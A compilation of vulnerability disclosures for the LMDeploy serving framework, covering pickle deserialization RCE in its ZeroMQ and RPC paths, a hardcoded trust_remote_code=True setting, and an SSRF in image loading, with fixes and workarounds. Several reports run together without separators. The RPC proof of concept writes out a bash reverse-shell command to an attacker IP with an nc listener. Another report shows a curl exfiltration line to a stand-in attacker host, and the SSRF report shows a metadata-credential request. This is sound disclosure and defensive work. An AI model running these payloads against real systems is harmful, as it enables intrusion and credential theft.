• CWE-502: Deserialization of Untrusted Data
• Trail of Bits: Exploiting ML Pickle Files
• Rapid7: Attackers Weaponizing AI Models

Thank you for your time reviewing this report. I'm happy to provide any additional information or help with testing the fix. Please let me know if you have any questions!

Summary

LMDeploy's PyTorch DistServe/PD-disaggregation control plane used recv_pyobj() to deserialize messages received through a ZeroMQ PULL socket. PyZMQ implements recv_pyobj() using Python pickle deserialization, which can execute arbitrary code while reconstructing an object.

The peer address used by the receiver was supplied through the POST /distserve/p2p_connect HTTP endpoint. An attacker who could reach an affected DistServe API server could cause the server to connect to an attacker-controlled ZeroMQ endpoint and deserialize a crafted pickle payload.

API-key authentication is not enabled unless the operator explicitly configures it. As a result, affected DistServe deployments without API keys allowed unauthenticated remote code execution with the privileges of the LMDeploy serving process.

This issue affects the PyTorch backend when PD-disaggregation/DistServe is enabled. Ordinary deployments that do not use the affected disaggregated-serving path do not expose this data flow.

Affected components

• HTTP entry point: lmdeploy/serve/openai/endpoints/distserve.py, POST /distserve/p2p_connect
• Attacker-controlled peer address: DistServeConnectionRequest.remote_engine_endpoint_info.zmq_address
• Vulnerable receiver: lmdeploy/pytorch/disagg/conn/engine_conn.py, EngineP2PConnection.handle_zmq_recv()
• Unsafe operation: recv_pyobj(), which performs pickle deserialization

Vulnerable data flow

1. A caller submits a DistServe P2P connection request containing a ZeroMQ address.
2. The LMDeploy engine connects its ZeroMQ PULL socket to that address.
3. handle_zmq_recv() receives messages using recv_pyobj().
4. A malicious peer sends a crafted pickle object.
5. Python code executes during deserialization, before LMDeploy can perform any type or field validation.

A type check performed after recv_pyobj() cannot mitigate this issue because pickle payload execution occurs during deserialization.

Impact

Successful exploitation allows arbitrary code execution as the LMDeploy serving process. This can expose model weights, prompts, credentials, attached storage, cluster-network services, and host or GPU resources. An attacker may also modify or terminate the serving process.

Affected versions

Affected versions:

• lmdeploy >= 0.9.2, < 0.16.0

The vulnerable P2P receiver was introduced in commit b0b705f7.

Remediation

The issue was fixed by replacing the pickle-based ZeroMQ protocol with JSON serialization:

• send_pyobj() was replaced with send_json().
• recv_pyobj() was replaced with recv_json().
• Received objects are validated using the DistServeCacheFreeRequest Pydantic schema before use.
• Invalid or off-schema messages are rejected without terminating the receive loop.

Fix commit:

https://github.com/InternLM/lmdeploy/commit/f05b4ad8bf2e2d84101a1d63b3c44fadd99223b2

The fix was released in LMDeploy 0.16.0.

Workarounds

Users who cannot upgrade immediately should:

• Prevent untrusted clients from reaching /distserve/* endpoints.
• Restrict the DistServe HTTP and ZeroMQ control planes to trusted cluster networks.
• Configure API-key authentication.
• Block arbitrary outbound ZeroMQ connections from serving nodes.

These measures reduce exposure but do not make pickle deserialization safe. Upgrading to LMDeploy 0.16.0 or later is recommended.

Description

The LMdeploy implements an rpc server (AsyncRPCServer in zmq_rpc.py) for supporting the RPC communications. In its core functionality call_and_response(), I found it will directly use the pickles.loads() to deserialize the received messages without any sanitization, hence resulting in a remote code execution vulnerability by this RPC server.

Proof of Concept

• Step1: The victim user starts a RPC server that connects to its network interface. We give our example code (server.py) in the attachment, you can reproduce directly with server.py.

• Step2: The attacker can then send malicious pickle dump data to the remote RPC address for the attack. We give a example to show how can an attacker acquire a command shell:

In this example, attacker modifies AsyncRPCClient and send a request containing malicious pickle dump data to let the victim execute command “bash -c ‘bash -i >& /dev/tcp/202.112.47.27/4444 0>&1’”, where 202.112.47.27 is an attacker’s server. Two points require special attention: 1.The client code originally only connects to localhost over a socket, but an attacker can easily change localhost to another IP to perform remote exploitation, because the RPC server does not validate the connecting IP. 2.The RPC server’s port is randomized, but an attacker can still scan ports to find and exploit it; in our demo we explicitly set the target port.

• Step3: Attacker can use nc tool (nc -l 4444) to create a reverse shell and wait for connection. Then, attacker runs the client to send the malicious request. Since the pickle deserialization vulnerability, the victim rpc server will execute the malicious command and consequently let attacker get the command shell of victim machine.

We also give a demo video in the attachment, along with modified zmq_rpc.py. When you reproduce this issue in the client side (as an attacker), you can first replace zmq_rpc.py in pip site-packages with provided zmq_rpc.py in the attachment and then run python poc.py {port}.

Impact

Remote code execution in the victim's machine over network. Once the victim starts the RPC server, an attacker on the network can gain arbitrary code execution by scanning and finding the victim’s service.

Mitigation

(1)Sanitize data before pickle.loads it (e.g., rewrite Unpickler.find_class to set a whitelist), or use more secure deserialization methods such as safetensor or msgpack to replace the insecure pickle.loads. (2)Enable authentication in RPC services to ensure that only authenticated and trusted users are permitted to join the same cluster. LMdeploy.zip

Maintainer assessment

This advisory tracks remotely reachable arbitrary code execution caused by deserializing untrusted ZMQ RPC messages with pickle.loads().

The vulnerable RPC implementation was introduced in LMDeploy 0.9.1. Before version 0.10.2, AsyncRPCServer bound to tcp://*, allowing a network peer that could reach the randomly selected RPC port to submit a malicious pickle payload.

Version 0.10.2 changed the RPC server binding to localhost, removing the remote network attack surface. The RPC protocol still uses pickle internally, so the loopback RPC endpoint must remain inaccessible to untrusted local processes.

Additional client-side pickle.loads() call sites identified in a duplicate report are part of the same trusted internal RPC protocol and have been retained here as supporting evidence.

📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is: "get_model_arch and related helpers hardcode trust_remote_code=True with no opt-out, creating an implicit unsafe remote-code load path on every model fetch."

What this report does NOT claim:

• It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it.
• It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.

What this report DOES claim:

• Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose --trust-remote-code as opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name.
• LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=False since transformers ≥ 4.30).
• The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.

Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier).

Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.

F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Affected version

• Repository: github.com/InternLM/lmdeploy, branch main.
• Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).
• Pinned blob SHAs:
  • lmdeploy/archs.py → 68fa03a407734be1e2ae04098d34e9acdbe98262
  • lmdeploy/lite/apis/calibrate.py → 0728304bdc3c03eee1d790bfbd5496df080a0ecd
  • lmdeploy/lite/utils/load.py → 7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
  • lmdeploy/pytorch/check_env/model.py → b1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 — architecture detection (every load goes through here)

lmdeploy/archs.py:147-157 — get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 — quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 — calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.

Site 4 — pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242 — trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:

1. HF Transformers downloads the .py file from the repo.
2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
3. HF then instantiates the named class.

So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:

• Casual users following a tutorial that says lmdeploy serve api_server <some_repo>.
• CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
• Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

| Project | trust_remote_code default | User control | |---|---|---| | HuggingFace Transformers | False | trust_remote_code keyword arg | | vLLM | False | --trust-remote-code flag | | LMDeploy | True (hardcoded) | None | | TGI | False | --trust-remote-code flag |

LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:

# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
3. 90-day coordinated-disclosure window starting from acknowledgement.
4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip — the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

Summary

lmdeploy hardcodes trust_remote_code=True in multiple HuggingFace model-loading call sites.

The affected code paths are in:

lmdeploy/archs.py
lmdeploy/utils.py

The vulnerable call sites pass trust_remote_code=True into HuggingFace Transformers APIs such as AutoConfig.from_pretrained(), PretrainedConfig.get_config_dict(), and GenerationConfig.from_pretrained().

Because the model path is supplied by the operator or deployment configuration, an attacker who can control the model_path used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.

Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.

Affected version

Confirmed affected:

lmdeploy <= 0.12.3

The issue was verified on v0.12.3 and on main.

Vulnerable code

Confirmed call sites:

lmdeploy/archs.py:154
AutoConfig.from_pretrained(..., trust_remote_code=True)

lmdeploy/archs.py:157
PretrainedConfig.get_config_dict(..., trust_remote_code=True)

lmdeploy/utils.py:225
GenerationConfig.from_pretrained(..., trust_remote_code=True)

The vulnerable pattern is:

AutoConfig.from_pretrained(model_path, trust_remote_code=True)

and:

GenerationConfig.from_pretrained(path, trust_remote_code=True)

The risk is that trust_remote_code=True is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.

Attack scenario

1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.
2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:

attacker-org/malicious-model

3. The lmdeploy serving process starts with that model path:

lmdeploy serve api_server attacker-org/malicious-model

4. During model initialization, lmdeploy calls HuggingFace Transformers APIs with trust_remote_code=True.
5. Transformers loads and executes remote Python code from the attacker-controlled model repository.
6. The payload runs with the privileges of the lmdeploy serving process.

Why this is security-sensitive

trust_remote_code=True is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.

In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as --trust-remote-code.

lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.

Proof of concept

The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with trust_remote_code=True and shows that remote model code would execute during initialization.

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import importlib.util
import os
import sys
import tempfile
from pathlib import Path

MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF")
MALICIOUS_MODEL = "attacker-org/malicious-model"


def simulate_lmdeploy_model_load(model_path: str) -> None:
    """
    Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.

    Real vulnerable pattern:
        AutoConfig.from_pretrained(model_path, trust_remote_code=True)
        GenerationConfig.from_pretrained(path, trust_remote_code=True)

    When trust_remote_code=True, a malicious HuggingFace model repository can
    execute custom Python code during loading.
    """

    fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_"))
    module_name = model_path.split("/")[-1].replace("-", "_")
    modeling_file = fake_model_dir / f"modeling_{module_name}.py"

    payload = f'''
import os
from pathlib import Path

Path("{MARKER}").write_text(
    "lmdeploy trust_remote_code execution confirmed\\n"
    f"model_path={model_path!r}\\n"
    f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n"
)
'''
    modeling_file.write_text(payload)

    spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file)
    assert spec is not None and spec.loader is not None

    mod = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(mod)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--model-id", default=MALICIOUS_MODEL)
    args = parser.parse_args()

    if MARKER.exists():
        MARKER.unlink()

    print(f"[*] Simulating lmdeploy loading model: {args.model_id}")
    print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths")

    simulate_lmdeploy_model_load(args.model_id)

    if MARKER.exists():
        print("[+] Code execution confirmed")
        print(MARKER.read_text())
        return 0

    print("[-] Marker file was not created", file=sys.stderr)
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Expected result:

[+] Code execution confirmed

The marker file is written to:

/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF

Impact

An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.

The attacker may be able to:

• Read files accessible to the lmdeploy process.
• Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.
• Modify model-serving behavior or tamper with responses.
• Execute arbitrary operating-system commands.
• Access request data or internal service credentials available to the serving process.
• Cause denial of service by crashing or destabilizing the serving daemon.
• Pivot to internal services reachable from the lmdeploy host or container.

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

• Tested on: main branch (2026-02-04)
• Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

1. No validation of URLs before fetching
2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
3. Server binds to 0.0.0.0 by default (api_server.py line 1393)
4. API keys disabled by default

Attack Scenario

1. LMDeploy server deployed with vision-language model
2. Attacker sends request to /v1/chat/completions with malicious image_url:

POST /v1/chat/completions
{
  "model": "internlm-xcomposer2",
  "messages": [{
    "role": "user", 
    "content": [
      {"type": "text", "text": "Describe this image"},
      {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
    ]
  }]
}

3. Server fetches URL without validation
4. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...

======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
    Time:       2026-02-04 16:10:57
    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
    Client:     127.0.0.1:51154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

• Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
• Internal Service Access: Reach services not exposed to internet
• Information Disclosure: Port scan internal networks
• Lateral Movement: Pivot point for further attacks

Recommended Fix

from urllib.parse import urlparse
import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False
        ip = socket.gethostbyname(parsed.hostname)
        ip_addr = ipaddress.ip_address(ip)
        return not any(ip_addr in network for network in BLOCKED_NETWORKS)
    except:
        return False

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky
Organization: Orca Security
Emails: igor.stepansky@orca.security
iggy.p0pi@orca.security